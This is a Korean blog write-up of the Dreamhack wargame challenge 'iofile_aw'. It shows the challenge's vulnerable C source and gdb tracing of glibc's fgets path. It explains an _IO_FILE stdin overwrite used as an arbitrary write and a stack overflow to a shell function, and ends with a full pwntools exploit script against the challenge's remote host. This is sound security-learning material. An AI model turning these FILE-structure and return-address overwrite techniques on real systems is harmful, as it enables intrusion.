security/포너블 - dreamhack

[Dreamhack Wargame] iofile_aw

민사민서 2023. 6. 24. 23:55

문제 소스코드

char buf[80];
int size = 512;

void read_str() {
    fgets(buf, sizeof(buf) - 1, stdin);
}
void get_shell() {
    system("/bin/sh");
}
void help() {
    printf("read: Read a line from the standard input and split it into fields.\n");
}
void read_command(char *s) {
    /*No overflow here */
    int len;
    len = read(0, s, size);
    if (s[len - 1] == '\x0a')
        s[len - 1] = '\0';
}

int main(int argc, char *argv[]) {
    int idx = 0;
    int sel;
    char command[512]; // rbp-0x220
    long *dst = 0;
    long *src = 0;
    memset(command, 0, sizeof(command) - 1);

    initialize();

    while (1) {
        printf("# ");
        read_command(command);

        if (!strcmp(command, "read")) {
            read_str();
        }
        else if (!strcmp(command, "help")) {
            help();
        }
        else if (!strncmp(command, "printf", 6) {
            if (strtok(command, " ")) { // first token
                src = (long*) strtok(NULL, " "); // second token
                dst = (long*) stdin; // _IO_2_1_stdin 주소
                if (src) // _IO_FILE overwrite
                    memcpy(dst, src, 0x40);
            }
        }
        else if (!strcmp(command, "exit")) {
            return 0;
        }
        else {
            printf("%s: command not found\n", command);
        }
    }
    return 0;
}

취약점 파악

- strncmp(command, "printf",6) 통과 시 src에 두 번째 token으로 입력한 문자열의 포인터가 저장되고, dst에는 stdin에 담긴 주솟값(_IO_2_1_stdin_)이 저장된다

=> 이후 memcpy에 의해 _IO_FILE을 user input 0x40으로 덮을 수 있다

- fgets(buf, sizeof(buf)-1, stdin) 에서 unintended behavior를 발생시킬 수 있을 듯!

취약점 분석

1. fgets 함수 내부 호출 흐름 살펴보면서 jmp/call 분기 위주로 살펴보았다

#include <stdio.h>
#include <string.h>
int main() {
  char buf[256];
  printf("test: ");
  fgets(buf, sizeof(buf) - 1, stdin);
  printf("test: ");
  fgets(buf, sizeof(buf) - 1, stdin);

  return 0;
}

iofile_aw 바이너리는 alarm(60)이 거슬려 도커 가상환경에서 위와 같은 파일 빌드해서 gdb로 분석해보았다

 

_flags = 0xfbad2288

fgets -> _IO_getline -> _IO_getline_info -> __uflow  이런 식으로 코드 흐름 가더라

   0x7f5c7b5353f8 <__uflow+72>              mov    rax, qword ptr [rbx + 0xd8]
   0x7f5c7b5353ff <__uflow+79>              mov    rdi, rbx
   0x7f5c7b535402 <__uflow+82>              pop    rbx
   0x7f5c7b535403 <__uflow+83>              mov    rax, qword ptr [rax + 0x28] # _IO_file_jumps + 0x28 에 담긴 값으로 jmp
 ► 0x7f5c7b535407 <__uflow+87>              jmp    rax

그러다 발견한 의심스러운 부분

_IO_file_jumps + 0x28 에 담긴 주솟값을 가져와 거기로 jmp한다

struct _IO_FILE_plus
{
  FILE file; // _IO_FILE 구조체
  const struct _IO_jump_t *vtable; // _IO_file_jumps 구조체 포인터
};
// _IO_FILE 구조체 멤버변수의 offset
0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
// 생략
0xd8  vtable

IO_FILE 구조체에서 +0xd8 offset의 vtable 포인터를 조작하면 (vtable+0x28)에 담긴 주소로 rip가 이동할 것

코드 흐름 조작 가능

_IO_FILE + 0xd8 에 담긴 주소를 따라가보면
이렇게 _IO_file_jumps 구조체가 나타난다 (dummy 16bytes + 주소 table)

 

하 지 만!  우리는 memcpy(src, dest, 0x40) 에 의해 0x40 bytes overwrite 밖에 못한다 ㅠㅠ (_flags ~ _IO_buf_base)

https://dreamhack.io/forum/qna/1312 // 여기서도 별 거 없단다..

 

2. vtable 이용하는 것이 아닌 임의 주소 쓰기 (arbitrary write)으로 생각

- _fileno=0(stdin) 고정

read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);

- _IO_buf_base에 값을 읽어들일 주소를 작성하면 되겠다 (fgets도 fread랑 비슷할거라 가정)

 

문제 조건을 다시 살펴보니 No PIE, No Canary

그리고 전역변수 size가 있으면서 read_command 함수에서 size만큼 read해온다 (심지어 no overflow 주석도 있음ㅋㅋ)

=> size를 엄청 크게 만들고 buffer overflow 후 RET overwrite 하면 되겠다!!

=> command = [rbp-0x220]

exploit 코드

from pwn import *

# p = process("./iofile_aw")
p = remote("host1.dreamhack.games", 18045)

size_addr = 0x602010
buf_addr = 0x602040
getshell = 0x4009fa
NOPgadget = 0x4007d9

pay = p64(0xfbad2288) # flag 
pay += p64(0x602010)*7 # _IO_read_ptr ~ _IO_buf_base
p.sendlineafter("# ", b"printf "+pay) # overwrite _IO_FILE

p.sendlineafter("# ", "read")
p.sendline(p64(0x400)) # overwrite size

pay2 = b'A'*0x220 + b'B'*0x8 + p64(NOPgadget) + p64(getshell)
p.sendlineafter("# ", pay2) # BOF

p.sendlineafter("# ", "exit")

p.interactive()

- _IO_buf_base / _flag만 제대로 채우고 나머지 널로 채워도 잘 되더라

- 코드 멀쩡한거 확인했는데 system("/bin/sh") 호출하면서 죽길래 NOP gadget 추가해줬다

 

system hacking 로드맵 끝~